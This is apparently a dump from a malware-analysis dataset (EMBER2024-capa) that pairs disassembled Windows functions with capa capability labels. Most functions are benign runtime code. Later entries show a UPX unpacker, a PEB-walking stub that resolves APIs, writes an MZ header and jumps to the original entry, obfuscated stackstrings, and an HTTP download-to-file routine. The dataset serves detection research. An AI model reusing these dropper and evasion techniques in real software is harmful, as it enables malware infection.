joyce8/EMBER2024-capa huggingface dataset:
Function at 0x419200
Capabilities:
Write file on windows

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x2c
cmp byte [0x42ba98], 0
jne 0x4192d5
mov byte [0x42ba98], 1
call sym.___cxa_current_exception_type
test eax, eax
je 0x41936f
mov eax, dword [eax + 4]
xor edx, edx
cmp byte [eax], 0x2a
mov dword [esp + 8], 0
mov dword [esp + 4], 0
sete dl
lea edi, [eax + edx]
lea eax, [esp + 0x1c]
mov dword [esp + 0xc], eax
mov dword [esp], edi
mov dword [esp + 0x1c], 0xffffffff
call sym.___cxa_demangle
mov ebx, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x30
mov dword [esp + 4], 1
mov dword [esp], str.terminate_called_after_throwing_an_instance_of_
lea esi, [ebx + 0x40]
mov dword [esp + 0xc], esi
mov ebp, eax
call sym._fwrite
cmp dword [esp + 0x1c], 0
mov dword [esp + 4], esi
je 0x4192cb
mov dword [esp], edi
call sym._fputs
lea eax, [ebx + 0x40]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 2
mov dword [esp + 4], 1
mov dword [esp], 0x42cfb5
call sym._fwrite
cmp dword [esp + 0x1c], 0
je 0x419302
call sym.___cxa_rethrow
mov dword [esp], ebp
call sym._fputs
jmp 0x41929c
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1d
mov dword [esp + 4], 1
mov dword [esp], str.terminate_called_recursively_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sym._fwrite
call sym._abort
mov dword [esp], ebp
call sym._free
jmp 0x4192c6
call sym._abort
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x2d
mov dword [esp + 4], 1
mov dword [esp], str.terminate_called_without_an_active_exception_n
add eax, 0x40
mov dword [esp + 0xc], eax
call sym._fwrite
jmp 0x41936a

Function at 0x425c30
Capabilities:
Accept command line arguments

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push esi
push ebx
push ecx
sub esp, 0x6c
call dbg.__main
call sym._GetCommandLineA_0
mov ebx, eax
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call sym._GetStartupInfoA_4
sub esp, 4
test ebx, ebx
jne 0x425c66
jmp 0x425ca5
add ebx, 1
movzx eax, byte [ebx]
cmp al, 9
je 0x425c63
cmp al, 0x20
je 0x425c63
cmp al, 0x22
jne 0x425c89
jmp 0x425cf4
cmp al, 0x20
lea esi, [esi]
je 0x425c90
test al, al
je 0x425ca5
add ebx, 1
movzx eax, byte [ebx]
cmp al, 9
jne 0x425c77
movzx eax, byte [ebx]
cmp al, 0x20
jne 0x425d0a
add ebx, 1
movzx eax, byte [ebx]
cmp al, 9
je 0x425c97
cmp al, 0x20
je 0x425c97
test byte [ebp - 0x30], 1
mov esi, 0xa
je 0x425cb4
movzx esi, word [ebp - 0x2c]
mov dword [esp], 0
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._WinMain_16
sub esp, 0x10
lea esp, [ebp - 0xc]
pop ecx
pop ebx
pop esi
pop ebp
lea esp, [ecx - 4]
ret
cmp al, 0x22
je 0x425cfe
add ebx, 1
movzx eax, byte [ebx]
test al, al
jne 0x425cf0
cmp al, 0x22
sete al
movzx eax, al
add ebx, eax
jmp 0x425c90
cmp al, 9
je 0x425c97
jmp 0x425ca5
Function at 0x1f7d580
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x166e000]
push edi
or ebp, 0xffffffff
jmp 0x1f7d5a2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x1f7d5a9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1f7d598
mov eax, 1
add ebx, ebx
jne 0x1f7d5bb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x1f7d5cc
jne 0x1f7d5eb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1f7d5eb
dec eax
add ebx, ebx
jne 0x1f7d5d8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x1f7d5b0
add ebx, ebx
jne 0x1f7d5e7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x1f7d63d
xor ecx, ecx
sub eax, 3
jb 0x1f7d603
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x1f7d672
sar eax, 1
mov ebp, eax
jmp 0x1f7d60e
add ebx, ebx
jne 0x1f7d60e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1f7d5dc
inc ecx
add ebx, ebx
jne 0x1f7d61c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1f7d5dc
add ebx, ebx
jne 0x1f7d629
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x1f7d61e
jne 0x1f7d63a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x1f7d61e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x1f7d65c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x1f7d64e
jmp 0x1f7d59e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x1f7d65c
add edi, ecx
jmp 0x1f7d59e
pop esi
mov edi, esi
mov ecx, 0x1c512
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x1f7d67a
mov eax, dword [edi]
mov bl, byte [edi + 4]
xchg ah, al
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x1f7d67f
lea edi, [esi + 0x1b7a000]
mov eax, dword [edi]
or eax, eax
je 0x1f7d6f0
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1b7f58c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1b7f5c8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x1f7d6a5
mov ecx, edi
jns 0x1f7d6d4
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1b7f5cc]
or eax, eax
je 0x1f7d6ea
mov dword [ebx], eax
add ebx, 4
jmp 0x1f7d6c2
call dword [esi + 0x1b7f5dc]
mov ebp, dword [esi + 0x1b7f5d0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1df]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x1f7d724
sub esp, 0xffffff80
jmp 0x4364e8
Function at 0x40619f
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor ebx, ebx
call fcn.00414f00
mov esi, dword [eax + 0xc]
push 5
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x4061d8
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov ecx, dword [ebp - 4]
push esi
push dword [ebp + 0xc]
push ebx
call fcn.00405de1
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 8

Function at 0x406236
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x78], ebx
test ebx, 0xffff0000
jne 0x40625a
cmp dword [edi + 0x74], 0
jne 0x40625a
movzx eax, bx
mov dword [edi + 0x74], eax
call fcn.00414f00
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.004061f7
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x40fb59
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x40fba0
call fcn.00414f00
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x40fba0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x40fbbc
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.0040f65e
mov esi, eax
test edi, edi
je 0x40fbba
test ebx, ebx
je 0x40fbba
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x410a4c
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x524232
call fcn.0050418f
mov esi, ecx
cmp dword [esi + 0x6c], 0
jne 0x410a71
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x410ac3
call fcn.004076c9
push eax
lea ecx, [ebp - 0x10]
call fcn.00401210
mov ecx, dword [esi + 0x6c]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0050448f
push eax
call fcn.00404860
add esp, 0x14
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00401340
mov eax, esi
call fcn.00504267
ret 8
Function at 0x4123a1
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x4123e9
call fcn.00414f00
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x4123e9
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x41242c
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x412415
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x412415
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x68], 0
je 0x412429
mov ecx, dword [esi + 0x68]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x4152c4
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push dword [ebp + 0xc]
mov ecx, esi
call fcn.00414f83
cmp dword [esi], 0
mov edi, eax
mov dword [esi + 0xc], 1
je 0x41530e
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.0040db21
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.0040c1bc
jmp 0x415319
mov eax, dword [ebp + 0x10]
push dword [eax]
push edi
call fcn.00419eab
pop edi
pop esi
pop ebp
ret 0xc

Function at 0x41531f
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov ecx, dword [esi + 4]
lea eax, [ebp + 8]
push eax
push dword [ebp + 0xc]
call fcn.0041033e
push 0xfffffffffffffff0
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowLongA]
push dword [ebp + 0xc]
and eax, 3
mov ecx, esi
cmp al, 3
je 0x41535c
call fcn.00414f83
mov dword [esi + 0xc], 1
jmp 0x415361
call fcn.00414f83
cmp dword [esi], 0
je 0x4153aa
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
test eax, eax
jle 0x415382
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.0040db21
jmp 0x415394
mov ecx, dword [ebp + 0x10]
push 0xff
call fcn.004015a0
push 0x100
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.0040c1bc
jmp 0x4153ce
mov esi, dword [ebp + 0x10]
push dword [esi]
push 0xffffffffffffffff
push 0x14d
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SendMessageA]
cmp eax, 0xffffffff
jne 0x4153ce
push dword [esi]
push dword [ebp + 8]
call fcn.00419eab
pop esi
pop ebp
ret 0xc
Function at 0x458cb5
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push esi
mov esi, ecx
call fcn.004dc987
call fcn.00414931
cmp dword [eax + 0x14], 0
jne 0x458cd2
mov ecx, esi
pop esi
jmp fcn.004587ba
pop esi
ret

Function at 0x45c231
Capabilities:
Get common file path
Get file system object information

Disassembly:
mov edi, edi
push esi
mov esi, ecx
call fcn.00470078
call fcn.00414931
cmp dword [eax + 0x14], 0
jne 0x45c24e
mov ecx, esi
pop esi
jmp fcn.0045bc04
pop esi
ret

Function at 0x46c4de
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov dword [ebp - 4], ecx
test esi, esi
jne 0x46c4f8
call fcn.00414f00
mov esi, dword [eax + 0xc]
push dword [0x575a0c]
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x46c516
xor eax, eax
pop edi
pop esi
leave
ret 8
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp + 0xc], eax
test eax, eax
je 0x46c50e
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
jne 0x46c543
xor esi, esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop ebx
jmp 0x46c510
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp - 4]
push eax
push ebx
call fcn.0046c40c
mov esi, eax
jmp 0x46c535

Function at 0x4e9b4a
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
test byte [esi + 4], 1
push edi
mov ebx, ecx
je 0x4e9b62
mov edi, dword [esi + 0xc]
jmp 0x4e9ba2
push 5
push dword [esi + 0xc]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x4e9b7b
call fcn.00407ef5
push edi
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
jne 0x4e9b90
call fcn.00407ef5
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
jne 0x4e9ba2
call fcn.00407ef5
call fcn.00414f00
cmp dword [eax + 0x3c], 0
je 0x4e9bb7
push edi
mov ecx, ebx
call fcn.004e897e
mov edi, eax
push dword [ebp + 0xc]
push edi
call fcn.004e9a64
mov dword [ebp + 8], eax
mov eax, dword [ebx + 0x7c]
test eax, eax
je 0x4e9bd5
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
and dword [ebx + 0x7c], 0
mov eax, dword [ebp + 8]
test eax, eax
je 0x4e9be1
mov edi, eax
mov dword [ebx + 0x7c], eax
or dword [esi + 4], 1
mov dword [esi + 0xc], edi
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x50316a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x570a50]
jne 0x503174
repz ret
jmp fcn.00509b34
Function at 0x5162e4
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x570a50]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0050c7a4
and dword [ebp - 0x14], 0
cmp dword [0x57834c], 0
mov dword [ebp - 0x18], eax
jne 0x516397
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x51643f
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x51643f
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x54fe40
push ebx
mov dword [0x57834c], eax
call edi
push eax
call esi
push 0x54fe2c
push ebx
mov dword [0x578350], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x578354], eax
call edi
push eax
call esi
mov dword [0x57835c], eax
test eax, eax
je 0x516397
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x578358], eax
mov eax, dword [0x578358]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x5163f0
cmp dword [0x57835c], ecx
je 0x5163f0
push eax
call esi
push dword [0x57835c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x5163f0
test ebx, ebx
je 0x5163f0
call edi
test eax, eax
je 0x5163e7
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x5163e7
test byte [ebp - 8], 1
jne 0x5163f0
or dword [ebp + 0x10], 0x200000
jmp 0x516423
mov eax, dword [0x578350]
cmp eax, dword [ebp - 0x18]
je 0x516423
push eax
call esi
test eax, eax
je 0x516423
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x516423
mov eax, dword [0x578354]
cmp eax, dword [ebp - 0x18]
je 0x516423
push eax
call esi
test eax, eax
je 0x516423
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x57834c]
call esi
test eax, eax
je 0x51643f
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x516441
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0050316a
leave
ret
Function at 0x5b8000
Capabilities:
Accept command line arguments
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov eax, 0x30
nop
mov edi, dword fs:[eax]
mov edi, dword [edi + 0xc]
mov edi, dword [edi + 0x1c]
mov edi, dword [edi]
mov edi, dword [edi + 8]
call 0x5b8019
pop ebx
sub ebx, 0x401019
mov dword [ebx + 0x4011ed], edi
mov esi, edi
add esi, dword [esi + 0x3c]
mov esi, dword [esi + 0x78]
add esi, edi
push esi
mov ebp, dword [esi + 0x18]
mov esi, dword [esi + 0x20]
add esi, edi
xor edx, edx
push esi
mov edi, dword [esi]
add edi, dword [ebx + 0x4011ed]
lea esi, [ebx + 0x4011c6]
nop
mov ecx, 0xf
repe cmpsb byte [esi], byte es:[edi]
jne 0x5b805a
pop esi
mov edx, esi
pop esi
jmp 0x5b806b
pop esi
add esi, 4
inc edx
cmp edx, ebp
jb 0x5b803b
sub esp, 4
jmp 0x5b818e
sub edx, dword [esi + 0x20]
mov eax, dword [ebx + 0x4011ed]
sub edx, eax
shr edx, 1
add edx, dword [esi + 0x24]
add edx, eax
movzx eax, word [edx]
shl eax, 2
add eax, dword [esi + 0x1c]
add eax, dword [ebx + 0x4011ed]
mov eax, dword [eax]
add eax, dword [ebx + 0x4011ed]
mov edi, eax
mov ebp, esp
mov edx, dword [ebx + 0x4011ed]
lea eax, [ebx + 0x4011a1]
push eax
push edx
call edi
sub esp, 0x104
push esp
push 0x104
call eax
lea eax, [ebx + 0x4011bd]
push eax
mov edx, dword [ebx + 0x4011ed]
push edx
call edi
lea ecx, [ebx + 0x401193]
push ecx
mov ecx, esp
add ecx, 4
push ecx
call eax
lea eax, [ebx + 0x4011e1]
push eax
mov edx, dword [ebx + 0x4011ed]
push edx
call edi
mov ecx, esp
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
push ecx
call eax
mov esi, eax
lea ecx, [ebx + 0x4011f1]
push ecx
push ecx
mov edx, dword [ebx + 0x4011ed]
push edx
call edi
pop ecx
push 0
push ecx
add ecx, 0xa
mov edx, dword [ecx]
push edx
push ecx
mov edx, 0x905a4d
mov dword [ecx], edx
push esi
mov edx, 0x40112c
add edx, ebx
push edx
push eax
ret
jmp fcn.00503c41
Function at 0x5b8a3c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov dword [ebp - 0x14], 1
and dword [ebp - 0x10], 0
and dword [ebp - 0x1c], 0
and dword [ebp - 0x20], 0
and dword [ebp - 0x44], 0
and dword [ebp - 4], 0
and dword [ebp - 0xc], 0
or dword [ebp - 0x18], 0xffffffff
and dword [ebp - 8], 0
mov dword [ebp - 0x40], 0x64616f4c
mov dword [ebp - 0x3c], 0x6f736552
mov dword [ebp - 0x38], 0x65637275
and dword [ebp - 0x34], 0
lea eax, [ebp - 0x40]
push eax
push 0x4082c8
call dword [0x4080f0]
push eax
call dword [0x4080e4]
mov dword [ebp - 8], eax
push 0x4082d8
movzx eax, word [ebp + 0x10]
push eax
push dword [ebp + 0xc]
call dword [0x4080b8]
mov dword [ebp - 0x20], eax
push dword [ebp - 0x20]
push dword [ebp + 0xc]
call dword [0x4080d8]
mov dword [ebp - 4], eax
push dword [ebp - 0x20]
push dword [ebp + 0xc]
call dword [ebp - 8]
mov dword [ebp - 0x44], eax
push dword [ebp - 0x44]
call dword [method.CDC.virtual_116]
cmp dword [ebp + 0x10], 0x65
jne 0x5b8ae2
mov dword [ebp - 0x1c], 0xc6f
cmp dword [ebp + 0x10], 0x66
jne 0x5b8aef
mov dword [ebp - 0x1c], 0x145
push dword [ebp - 4]
call fcn.005bea27
pop ecx
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x10], eax
push dword [ebp - 4]
push dword [ebp - 0x44]
push dword [ebp - 0x10]
call fcn.005bea15
add esp, 0xc
push 0
push dword [ebp - 0x1c]
push dword [ebp - 4]
push dword [ebp - 0x10]
call fcn.005b85fb
push 0
push dword [ebp + 0x14]
push 2
push 0
push 3
push 0xc0000000
push dword [ebp + 8]
call dword [fcn.004080b4]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffff
jne 0x5b8b4c
and dword [ebp - 0x14], 0
jmp 0x5b8b61
push 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 4]
push dword [ebp - 0x10]
push dword [ebp - 0x18]
call dword [fcn.004080d0]
cmp dword [ebp - 0x10], 0
je 0x5b8b76
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x4c], eax
push dword [ebp - 0x4c]
call fcn.005bea21
pop ecx
cmp dword [ebp - 0x44], 0
je 0x5b8b85
push dword [ebp - 0x44]
call dword [0x4080bc]
cmp dword [ebp - 0x18], 0xffffffff
je 0x5b8b94
push dword [ebp - 0x18]
call dword [fcn.004080fc]
mov eax, dword [ebp - 0x14]
leave
ret 0x10
Function at 0x5ba078
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x470
and dword [ebp - 0x58], 0
and dword [ebp - 0x5c], 0
and dword [ebp - 0x64], 0
and dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 4
and dword [ebp - 0x44], 0
or dword [ebp - 0x50], 0xffffffff
and dword [ebp - 0x54], 0
and dword [ebp - 0x60], 0
push 0x40
push 0
lea eax, [ebp - 0x40]
push eax
call fcn.005bea1b
add esp, 0xc
call fcn.005b8d07
push eax
push 0x408574
lea eax, [ebp - 0x40]
push eax
call dword [fcn.00408204]
add esp, 0xc
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x40]
push eax
call dword [0x40822c]
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x5c], 0x4e20
push 4
lea eax, [ebp - 0x5c]
push eax
push 2
push dword [ebp - 0x54]
call dword [0x408230]
push 0
push 0x84000100
push 0
push 0
push dword [ebp + 8]
push dword [ebp - 0x54]
call dword [0x408238]
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0
jne 0x5ba127
jmp 0x5ba238
mov dword [ebp - 0x5c], 0x7530
push 4
lea eax, [ebp - 0x5c]
push eax
push 6
push dword [ebp - 0x60]
call dword [0x408230]
push 0
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x64]
push eax
push 0x20000013
push dword [ebp - 0x60]
call dword [0x408224]
test eax, eax
je 0x5ba164
cmp dword [ebp - 0x64], 0xc8
je 0x5ba16e
jmp 0x5ba238
push 0
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x4c]
push eax
push 0x20000005
push dword [ebp - 0x60]
call dword [0x408224]
test eax, eax
je 0x5ba190
cmp dword [ebp - 0x4c], 0
ja 0x5ba19a
jmp 0x5ba238
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
push dword [ebp + 0xc]
call dword [fcn.004080b4]
mov dword [ebp - 0x50], eax
xor eax, eax
inc eax
je 0x5ba238
and dword [ebp - 0x6c], 0
and dword [ebp - 0x68], 0
push 0x400
push 0
lea eax, [ebp - 0x470]
push eax
call fcn.005bea1b
add esp, 0xc
lea eax, [ebp - 0x6c]
push eax
push 0x400
lea eax, [ebp - 0x470]
push eax
push dword [ebp - 0x60]
call dword [0x408234]
cmp eax, 1
jne 0x5ba234
cmp dword [ebp - 0x6c], 0
je 0x5ba234
push 0
lea eax, [ebp - 0x68]
push eax
push dword [ebp - 0x6c]
lea eax, [ebp - 0x470]
push eax
push dword [ebp - 0x50]
call dword [fcn.004080d0]
mov eax, dword [ebp - 0x44]
add eax, dword [ebp - 0x68]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x4c]
jne 0x5ba232
mov dword [ebp - 0x58], 1
jmp 0x5ba238
jmp 0x5ba236
jmp 0x5ba238
jmp 0x5ba1b8
push dword [ebp - 0x50]
call dword [fcn.004080fc]
push dword [ebp - 0x60]
call dword [0x408228]
push dword [ebp - 0x54]
call dword [0x408228]
cmp dword [ebp - 0x58], 1
je 0x5ba262
push dword [ebp + 0xc]
call dword [0x408104]
mov eax, dword [ebp - 0x58]
leave
ret 8